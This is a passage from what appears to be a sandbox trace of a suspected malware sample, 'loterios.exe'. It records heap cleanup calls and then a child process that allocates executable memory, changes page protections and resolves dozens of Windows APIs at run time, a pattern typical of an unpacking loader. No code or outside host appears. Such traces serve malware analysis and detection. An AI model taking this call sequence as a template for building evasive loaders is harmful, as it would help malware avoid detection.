MemoryPointer=0x2ad3cfc18d0) returned 0xa [0243.581] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc18d0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.581] GetProcessHeap () returned 0x2ad3cfb0000 [0243.581] GetProcessHeap () returned 0x2ad3cfb0000 [0243.581] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1d50) returned 1 [0243.582] GetProcessHeap () returned 0x2ad3cfb0000 [0243.582] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc1d50) returned 0x18 [0243.582] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1d50 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.582] GetProcessHeap () returned 0x2ad3cfb0000 [0243.582] GetProcessHeap () returned 0x2ad3cfb0000 [0243.582] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe810) returned 1 [0243.582] GetProcessHeap () returned 0x2ad3cfb0000 [0243.582] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe810) returned 0x20 [0243.582] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe810 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.582] GetProcessHeap () returned 0x2ad3cfb0000 [0243.582] GetProcessHeap () returned 0x2ad3cfb0000 [0243.582] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1d30) returned 1 [0243.582] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc1d30) returned 0xa [0243.583] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1d30 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc18b0) returned 1 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc18b0) returned 0x18 [0243.583] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc18b0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe9c0) returned 1 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe9c0) returned 0x20 [0243.583] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe9c0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1110) returned 1 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc1110) returned 0x2 [0243.583] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1110 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe8d0) returned 1 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe8d0) returned 0x20 [0243.583] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe8d0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbee10) returned 1 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbee10) returned 0x20 [0243.583] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbee10 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] GetProcessHeap () returned 0x2ad3cfb0000 [0243.583] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe870) returned 1 [0243.584] GetProcessHeap () returned 0x2ad3cfb0000 [0243.584] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe870) returned 0x20 [0243.584] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe870 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.584] GetProcessHeap () returned 0x2ad3cfb0000 [0243.584] GetProcessHeap () returned 0x2ad3cfb0000 [0243.584] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbecf0) returned 1 [0243.584] GetProcessHeap () returned 0x2ad3cfb0000 [0243.584] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbecf0) returned 0x20 [0243.584] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbecf0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.584] GetProcessHeap () returned 0x2ad3cfb0000 [0243.584] GetProcessHeap () returned 0x2ad3cfb0000 [0243.584] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe750) returned 1 [0243.584] GetProcessHeap () returned 0x2ad3cfb0000 [0243.584] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe750) returned 0x20 [0243.584] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe750 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.584] GetProcessHeap () returned 0x2ad3cfb0000 [0243.584] GetProcessHeap () returned 0x2ad3cfb0000 [0243.584] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe6f0) returned 1 [0243.584] GetProcessHeap () returned 0x2ad3cfb0000 [0243.585] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe6f0) returned 0x20 [0243.585] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe6f0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.585] GetProcessHeap () returned 0x2ad3cfb0000 [0243.585] GetProcessHeap () returned 0x2ad3cfb0000 [0243.585] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfb4030) returned 1 [0243.585] GetProcessHeap () returned 0x2ad3cfb0000 [0243.585] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfb4030) returned 0x30 [0243.585] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfb4030 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.585] GetProcessHeap () returned 0x2ad3cfb0000 [0243.585] GetProcessHeap () returned 0x2ad3cfb0000 [0243.585] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeab0) returned 1 [0243.585] GetProcessHeap () returned 0x2ad3cfb0000 [0243.585] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbeab0) returned 0x20 [0243.585] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeab0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.585] GetProcessHeap () returned 0x2ad3cfb0000 [0243.586] GetProcessHeap () returned 0x2ad3cfb0000 [0243.586] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeb10) returned 1 [0243.586] GetProcessHeap () returned 0x2ad3cfb0000 [0243.586] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbeb10) returned 0x24 [0243.586] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeb10 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.586] GetProcessHeap () returned 0x2ad3cfb0000 [0243.586] GetProcessHeap () returned 0x2ad3cfb0000 [0243.586] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeae0) returned 1 [0243.586] GetProcessHeap () returned 0x2ad3cfb0000 [0243.586] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbeae0) returned 0x20 [0243.586] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeae0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.586] GetProcessHeap () returned 0x2ad3cfb0000 [0243.586] GetProcessHeap () returned 0x2ad3cfb0000 [0243.586] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfb9800) returned 1 [0243.586] GetProcessHeap () returned 0x2ad3cfb0000 [0243.586] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfb9800) returned 0x4c [0243.586] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfb9800 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.586] GetProcessHeap () returned 0x2ad3cfb0000 [0243.586] GetProcessHeap () returned 0x2ad3cfb0000 [0243.586] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeb40) returned 1 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.587] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbeb40) returned 0x20 [0243.587] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbeb40 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.587] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1690) returned 1 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.587] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc1690) returned 0x18 [0243.587] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1690 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.587] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe900) returned 1 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.587] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe900) returned 0x20 [0243.587] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe900 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.587] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe720) returned 1 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.587] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe720) returned 0x20 [0243.587] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe720 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.587] GetProcessHeap () returned 0x2ad3cfb0000 [0243.588] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbee70) returned 1 [0243.588] GetProcessHeap () returned 0x2ad3cfb0000 [0243.588] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbee70) returned 0x20 [0243.588] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbee70 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.588] GetProcessHeap () returned 0x2ad3cfb0000 [0243.588] GetProcessHeap () returned 0x2ad3cfb0000 [0243.588] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbed20) returned 1 [0243.588] GetProcessHeap () returned 0x2ad3cfb0000 [0243.588] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbed20) returned 0x20 [0243.588] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbed20 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.588] GetProcessHeap () returned 0x2ad3cfb0000 [0243.588] GetProcessHeap () returned 0x2ad3cfb0000 [0243.588] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1ad0) returned 1 [0243.588] GetProcessHeap () returned 0x2ad3cfb0000 [0243.588] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc1ad0) returned 0x18 [0243.588] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1ad0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.588] GetProcessHeap () returned 0x2ad3cfb0000 [0243.588] GetProcessHeap () returned 0x2ad3cfb0000 [0243.588] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe8a0) returned 1 [0243.588] GetProcessHeap () returned 0x2ad3cfb0000 [0243.588] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe8a0) returned 0x20 [0243.588] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe8a0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe9f0) returned 1 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe9f0) returned 0x20 [0243.589] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe9f0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe930) returned 1 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe930) returned 0x20 [0243.589] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe930 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe7e0) returned 1 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe7e0) returned 0x20 [0243.589] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe7e0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbea20) returned 1 [0243.589] GetProcessHeap () returned 0x2ad3cfb0000 [0243.589] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbea20) returned 0x20 [0243.590] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbea20 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe840) returned 1 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe840) returned 0x20 [0243.590] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe840 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe7b0) returned 1 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbe7b0) returned 0x20 [0243.590] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbe7b0 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1850) returned 1 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc1850) returned 0x18 [0243.590] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1850 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbee40) returned 1 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfbee40) returned 0x20 [0243.590] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfbee40 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.590] GetProcessHeap () returned 0x2ad3cfb0000 [0243.591] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1b50) returned 1 [0243.591] GetProcessHeap () returned 0x2ad3cfb0000 [0243.591] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc1b50) returned 0x18 [0243.591] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc1b50 | out: hHeap=0x2ad3cfb0000) returned 1 [0243.591] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0243.591] exit (_Code=0) Thread: id = 337 os_tid = 0x12d4 Process: id = "21" image_name = "loterios.exe" filename = "c:\\blotrots\\loterios.exe" page_root = "0x322f3000" os_pid = "0x13e8" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0xe40" cmd_line = "C:\\BlotRots\\Loterios.exe /C" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 338 os_tid = 0x1158 [0235.144] VirtualAlloc (lpAddress=0x0, dwSize=0xcf000, flAllocationType=0x1000, flProtect=0x40) returned 0x2070000 [0235.221] VirtualAlloc (lpAddress=0x0, dwSize=0x32e10, flAllocationType=0x1000, flProtect=0x4) returned 0x520000 [0235.221] VirtualProtect (in: lpAddress=0x400000, dwSize=0xcf000, flNewProtect=0x40, lpflOldProtect=0x21330a8 | out: lpflOldProtect=0x21330a8*=0x2) returned 1 [0235.229] GetVersion () returned 0x23f00206 [0235.722] GetTickCount () returned 0x117b817 [0235.722] OleUIConvertA () returned 0x65 [0235.748] OleUIConvertW () returned 0x65 [0236.274] OleUIBusyA () returned 0x65 [0236.274] OleUIBusyA () returned 0x65 [0236.274] GetTickCount () returned 0x117ba4a [0236.274] OleUninitialize () [0236.274] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x21330a8 | out: lpflOldProtect=0x21330a8*=0x40) returned 1 [0236.286] GetProcessId (Process=0x0) returned 0x0 [0236.287] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0236.287] LoadLibraryA (lpLibFileName="USERENV.dll") returned 0x74080000 [0236.293] GetProcAddress (hModule=0x74080000, lpProcName="GetUserProfileDirectoryW") returned 0x740849b0 [0236.293] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0236.293] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x772b0000 [0236.293] GetProcAddress (hModule=0x772b0000, lpProcName="CoSetProxyBlanket") returned 0x76a59510 [0236.293] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeSecurity") returned 0x76a89710 [0236.293] GetProcAddress (hModule=0x772b0000, lpProcName="CoUninitialize") returned 0x76a722b0 [0236.293] GetProcAddress (hModule=0x772b0000, lpProcName="CoCreateInstance") returned 0x76a37490 [0236.294] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeEx") returned 0x76a72590 [0236.294] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitialize") returned 0x772e6a60 [0236.294] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0236.294] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x74720000 [0236.315] GetProcAddress (hModule=0x74720000, lpProcName="CommandLineToArgvW") returned 0x7487cc20 [0236.316] GetProcAddress (hModule=0x74720000, lpProcName="SHGetFolderPathW") returned 0x748788f0 [0236.316] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0236.316] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74560000 [0236.316] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0236.316] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcessId") returned 0x745cea20 [0236.316] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableW") returned 0x74574fb0 [0236.316] GetProcAddress (hModule=0x74560000, lpProcName="WideCharToMultiByte") returned 0x74576b10 [0236.316] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatA") returned 0x745b70c0 [0236.316] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableA") returned 0x74574f90 [0236.316] GetProcAddress (hModule=0x74560000, lpProcName="MultiByteToWideChar") returned 0x74575c40 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenW") returned 0x74576c70 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatW") returned 0x745b71a0 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyA") returned 0x745b7060 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="HeapAlloc") returned 0x77822dc0 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="HeapFree") returned 0x745757f0 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="HeapCreate") returned 0x745757b0 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAlloc") returned 0x74576970 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="GetFileSize") returned 0x745cef30 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiA") returned 0x74576bd0 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcess") returned 0x745cea10 [0236.317] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleW") returned 0x745750d0 [0236.318] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryW") returned 0x74575ae0 [0236.318] GetProcAddress (hModule=0x74560000, lpProcName="CopyFileW") returned 0x745cf3b0 [0236.318] GetProcAddress (hModule=0x74560000, lpProcName="TerminateProcess") returned 0x745767e0 [0236.318] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileW") returned 0x745ced40 [0236.318] GetProcAddress (hModule=0x74560000, lpProcName="ResumeThread") returned 0x74576380 [0236.318] GetProcAddress (hModule=0x74560000, lpProcName="GetComputerNameW") returned 0x745a32c0 [0236.318] GetProcAddress (hModule=0x74560000, lpProcName="ReleaseMutex") returned 0x745cec20 [0236.318] GetProcAddress (hModule=0x74560000, lpProcName="GetExitCodeProcess") returned 0x74573c60 [0236.318] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableW") returned 0x745764e0 [0236.318] GetProcAddress (hModule=0x74560000, lpProcName="GetTickCount") returned 0x745cdd50 [0236.319] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameW") returned 0x74575090 [0236.319] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemInfo") returned 0x745754d0 [0236.319] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableA") returned 0x745764c0 [0236.319] GetProcAddress (hModule=0x74560000, lpProcName="GetVersionExA") returned 0x745756d0 [0236.319] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0236.319] GetProcAddress (hModule=0x74560000, lpProcName="SetEvent") returned 0x745cec50 [0236.319] GetProcAddress (hModule=0x74560000, lpProcName="OpenEventA") returned 0x745cebd0 [0236.319] GetProcAddress (hModule=0x74560000, lpProcName="CreateMutexA") returned 0x745ceb40 [0236.319] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThread") returned 0x74578810 [0236.319] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0236.319] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTimeAsFileTime") returned 0x74575530 [0236.320] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiW") returned 0x74576bf0 [0236.320] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileW") returned 0x745ae500 [0236.320] GetProcAddress (hModule=0x74560000, lpProcName="SetFileAttributesW") returned 0x745cf100 [0236.320] GetProcAddress (hModule=0x74560000, lpProcName="LocalAlloc") returned 0x74575b20 [0236.321] GetProcAddress (hModule=0x74560000, lpProcName="GetLocalTime") returned 0x74575060 [0236.321] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyW") returned 0x745b7140 [0236.321] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryW") returned 0x745cece0 [0236.321] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0236.321] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0236.321] GetProcAddress (hModule=0x74560000, lpProcName="GetLastError") returned 0x74575010 [0236.321] GetProcAddress (hModule=0x74560000, lpProcName="CreateEventA") returned 0x745ceb00 [0236.321] GetProcAddress (hModule=0x74560000, lpProcName="SleepEx") returned 0x745cec70 [0236.321] GetProcAddress (hModule=0x74560000, 